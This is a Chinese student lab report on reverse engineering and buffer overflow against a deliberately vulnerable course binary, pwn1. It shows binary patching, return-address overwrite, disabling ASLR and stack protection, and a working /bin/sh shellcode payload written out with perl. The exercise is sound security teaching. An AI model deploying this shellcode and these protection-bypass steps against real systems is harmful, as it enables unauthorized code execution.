20162326 Exp1《网络对抗技术》 PC平台逆向破解
1 逆向及Bof基础实践说明
1.1 实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
本次实验的三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
这几种思路,基本代表现实情况中的攻击目标:
- 运行原本不可访问的代码片段
- 强行修改程序执行流
以及注入运行任意代码。
1.2 基础知识
对于非计算机专业不太接触底层代码的我们信息管理与信息系统专业来说,必需先了解一些必要的基础知识。
1.2.1 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- NOP指令:“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。
- JNE指令:条件转移指令(等同于“Jump Not Equal”),如果不相等则跳转。
- JE指令:条件转移指令,如果相等则跳转。
- JMP指令:无条件跳转指令。无条件跳转指令可转到内存中任何程序段。转移地址可在指令中给出,也可以在寄存器中给出,或在存储器中指出。
- CMP指令:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响 的标志寄存器位来得知比较结果。
1.2.2 机器指令
- 是CPU能直接识别并执行的指令,它的表现形式是二进制编码。机器指令通常由操作码和操作数两部分组成,操作码指出该指令所要完成的操作,即指令的功能,操作数指出参与运算的对象,以及运算结果所存放的位置等。
1.2.3 缓冲区溢出
NOTE:
- 缓冲区攻击的最终目的就是希望系统能执行这块可读写内存中已经被蓄意设定好的恶意代码

- 在计算机程序中,就是数据使用到了被分配内存空间之外的内存空间。而缓冲区溢出,简单的说就是计算机对接收的输入数据没有进行有效的检测(理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符),向缓冲区内填充数据时超过了缓冲区本身的容量,而导致数据溢出到被分配空间之外的内存空间,使得溢出的数据覆盖了其他内存空间的数据。
1.2.4 注入ShellCode
NOTE:
ShellCode在攻击中扮演的角色是一段原本不会被执行的机器指令。当缓冲区溢出导致设计好的ShellCode的首地址“恰巧”覆盖在了栈顶返回地址retAdd时,其被执行导致用户获得bash权限。
1.2.5常用的Linux基本操作
objdump -d:从objfile中反汇编那些特定指令机器码的section。
perl -e:后面紧跟单引号括起来的字符串,表示在命令行要执行的命令。
xxd:为给定的标准输入或者文件做一次十六进制的输出,它也可以将十六进制输出转换为原来的二进制格式。
ps -ef:显示所有进程,并显示每个进程的UID,PPIP,C与STIME栏位。
|:管道,将前者的输出作为后者的输入。
>:输入输出重定向符,将前者输出的内容输入到后者中。
1.2.6 shellcode的编写方式主要有以下三种:
- 直接编写十六进制操作码;
- 使用如C语言等高级语言编写程序,然后进行编译并反汇编,以获取汇编指令及十六进制操作码;
- 编写汇编程序,将该程序汇编,然后从二进制中提取十六进制操作码。
1.2.7 反汇编了解程序基本功能
- foo函数功能:将用户输入的字符再次在屏幕上显示出来。
- getshell函数功能:打开一个可用Shell。
- main函数中调用了foo函数。
- objdump -s test
除了显示test的全部Header信息,还显示他们对应的十六进制文件代码
- objdump -D test
与-d类似,但反汇编test中的所有section
- objdump -d test
反汇编test中的需要执行指令的那些section
- objdump -x test
显示test的全部Header信息
- objdump -h test
显示test的Section Header信息
- objdump -f test
显示test的文件头信息
任务一:直接修改程序机器指令,改变程序执行流程
先复制一份文件 试着运行

反汇编,了解程序的基本功能。用指令objdump反汇编20162326

在图形化的16进制编程器中,查找要修改的内容
/e8d7 修改d7为c3
root@Kali:~# apt-get install wxhexeditor
root@Kali:~# wxHexEditor

- 反汇编看一下,call指令是否正确调用getShell

- 运行下改后的代码,会得到shell提示符#

成功!
任务二:通过构造输入参数,造成BOF攻击,改变程序执行流

- 进入gdb,输入字串1111111122222222333333334444444455555555


-如图,我们可以看到本来应返回到foo函数的返回地址已被5555覆盖

- getShell的内存地址,通过反汇编时可以看到,即0804847d。

- 将input的输入,通过管道符“|”,作为pwn1的输入。
任务三:注入Shellcode并执行
1.简介
- shellcode就是一段机器指令(code)
- 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
所以这段机器指令被称为shellcode。 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
该实验必须在以下的条件下运行
(1)关闭堆栈保护(gcc -fno-stack-protector)
(2)关闭堆栈执行保护(execstack -s)
(3)关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)
(4)在x32环境下
(5)在Linux实践环境
准备工作
apt-get install execstack //先下载这个指令
root@Kali:~# execstack -s pwn1 //设置堆栈可执行
root@Kali:~# execstack -q pwn1 //查询文件的堆栈是否可执行
X pwn1
root@Kali:~# more /proc/sys/kernel/randomize_va_space
2
root@Kali:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@Kali:~# more /proc/sys/kernel/randomize_va_space
- 构造要注入的payload
Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode ——
恶意代码 < 缓冲区大小
nop+shellcode+retaddr ——
恶意代码 > 缓冲区大小
root@Kali:~# perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

- 下一步,再开另外一个终端,用gdb来调试pwn1这个进程
ps -ef | grep pwn1
//寻找 pwn1 的进程号码
gdb //调试进程

1. disassemble foo 命令来反汇编
2.设置断点,查看注入buf的内存地址
3. 用 break 命令设置断点,输入continue继续运行,在pwn1进程的终端继续执行。
4. 返回调试终端,info r esp命令查找地址
5. 用x/16x 0xffffd2ac命令查看其存放内容,为0x01020304(返回地址的位置)。根据input_shellcode可知地址应为0xffffd2b0
6.将之前的\x4\x3\x2\x1改为这个地址即可
感想
- 作为信管专业的学生,对于计算机底层知识了解甚少,而实验必须结合机器语言、汇编语言等先导知识,所以得做到边学边做。
着实比较费心。而且实验过程中遇到了很多虚拟机的问题。 - 我对本次实验的理解:实验1和实验2都是调用文件本身的Getshell,不同之处在于,实验1是直接修改可执行文件中的机器语言,以达修改程序进程,运行getshell的目的
- 实验2是通过缓冲区溢出攻击技术,找到返回地址并覆盖之,达到getshell的目的
- 实验3则是构造一个Shellcode,注入buf进行攻击,使得运行我们的shellcode从而获得对方的shell
什么是漏洞?漏洞的危害?
- 漏洞是指一个系统存在的弱点或缺陷,系统对特定威胁攻击或危险事件的敏感性,或进行攻击的威胁作用的可能性。
- 如果存在安全漏洞不及时修复的话并且计算机内没有防病毒软件的话,轻则使计算机操作系统某些功能不能正常使用,重则会使用户账号密码丢失、破坏系统等严重后果。
- 随着时间的推移,旧的漏洞会不断消失,新的漏洞会不断出现,漏洞问题也会长期存在。随着用户的深入使用,系统中存在的漏洞会被不断暴露出来,这些早先被发现的漏洞也会不断被系统供应商发布的补丁软件修补,或在以后发布的新版系统中得以纠正。而在新版系统纠正了旧版本中具有漏洞的同时,也会引入一些新的漏洞和错误
20162326 Exp1《网络对抗技术》 PC平台逆向破解的更多相关文章
- 20145330 《网络对抗》PC平台逆向破解:注入shellcode 和 Return-to-libc 攻击实验
20145330 <网络对抗>PC平台逆向破解:注入shellcode 实验步骤 1.用于获取shellcode的C语言代码 2.设置环境 Bof攻击防御技术 需要手动设置环境使注入的sh ...
- 20145312 《网络对抗》PC平台逆向破解:注入shellcode和 Return-to-libc 攻击实验
20145312 <网络对抗>PC平台逆向破解:注入shellcode和 Return-to-libc 攻击实验 注入shellcode 实验步骤 1. 准备一段Shellcode 2. ...
- 20155305《网络对抗》PC平台逆向破解(二)
20155305<网络对抗>PC平台逆向破解(二) shellcode注入 1.shellcode shellcode是一段代码,溢出后,执行这段代码能开启系统shell. 2.构造方法 ...
- 20155311《网络对抗》PC平台逆向破解(二)
20155311<网络对抗>PC平台逆向破解(二) shellcode注入 什么是shellcode? shellcode是一段代码,溢出后,执行这段代码能开启系统shell. 前期准备- ...
- 20145221《网络对抗》PC平台逆向破解
20145221<网络对抗>PC平台逆向破解 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户 ...
- 20155307《网络对抗》PC平台逆向破解(二)
20155307<网络对抗>PC平台逆向破解(二) shellcode注入 什么是shellcode? shellcode是一段代码,溢出后,执行这段代码能开启系统shell. 前期准备- ...
- 20145201李子璇《网络对抗》PC平台逆向破解
20145201<网络对抗>PC平台逆向破解 准备阶段 下载安装execstack. 获取shellcode的c语言代码 设置堆栈可执行 将环境设置为:堆栈可执行.地址随机化关闭(2开启, ...
- 20145219《网络对抗》PC平台逆向破解
20145219<网络对抗>PC平台逆向破解 shellcode注入 1.shellcode shellcode是一段代码,溢出后,执行这段代码能开启系统shell. 2.构造方法 (1) ...
- 20145240《网络对抗》PC平台逆向破解_advanced
PC平台逆向破解_advanced shellcode注入 Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限.另外,Shellcode一般是 ...
- 20145232韩文浩《网络对抗》PC平台逆向破解
shellcode注入 1.Linux下有两种基本构造攻击buf的方法:retaddr+nop+shellcode,nop+shellcode+retaddr.我们采用anything+retaddr ...
随机推荐
- with操作符损耗性能的原因
当函数运行是,创建一个[[scope]]指向的被称为作用域链的可变对象集合,作用域链的最前端是一个包含所有的局部变量.参数.this等的被称为“激活对象”的对象. 在标示符查找的过程中,从作用域的最前 ...
- SSH电力项目四-显示首页
1.登录页面: 将上一节中的页面放到/WEB-INF/page/目录下,需要登录后才能访问该页面: 对应页面:/WEB-INF/page/menu/home.jsp <%@ page langu ...
- github(其他类似github)下载到本地配置
首先是先装完插件,低版本的myeclipse要自己装插件, 如何使window->show view->other找到git 注意是选第二个... 然后next->next-> ...
- DGbroker快速失败转移
1.先决条件 DGMGRL> ENABLE FAST_START FAILOVER; Error: ORA-: requirements not met for enabling fast-st ...
- 在线预览文档(支持word、excel、ppt、pdf)+在线预览文档html版(转)
1.首先上网搜索一下有什么解决方案 (1).将文档转换为html,只支持支持office文档 (2).将文档转换为flash,实现类似百度文库的效果,除支持office文档外还支持pdf (1) a. ...
- web应用/http协议/web框架
一.web应用 Web应用程序是一种可以通过Web访问的应用程序,程序的最大好处是用户很容易访问应用程序,用户只需要有浏览器即可,不需要再安装其他软件.应用程序有两种模式C/S.B/S.C/S是客户端 ...
- Cat VS Dog---hdu3829(最大独立集)
题目链接 题意:有n只猫,有m只狗.现在有P个学生去参观动物园.每个孩子有喜欢的动物和不喜欢的动物.假如他喜欢猫那么他就一定不喜欢狗(反之亦然). 如果一个孩子喜欢一个动物,那么这个动物不会被移除 ...
- 深入理解flannel
1 概述 根据官网的描述,flannel是一个专为kubernetes定制的三层网络解决方案.它主要用于解决容器的跨主机通信问题.首先我们来简单看一下,它是如何工作的. 首先,flannel会利用Ku ...
- shell export 命令
export 命令作用是 把变量导出 也可以用export来定义环境变量 导入 定义的变量 这样的话类似于python面向对象的self.变量 一样 在脚本到处调用这个变量
- LeetCode——Palindrome Number
Determine whether an integer is a palindrome. Do this without extra space. Some hints: Could negativ ...
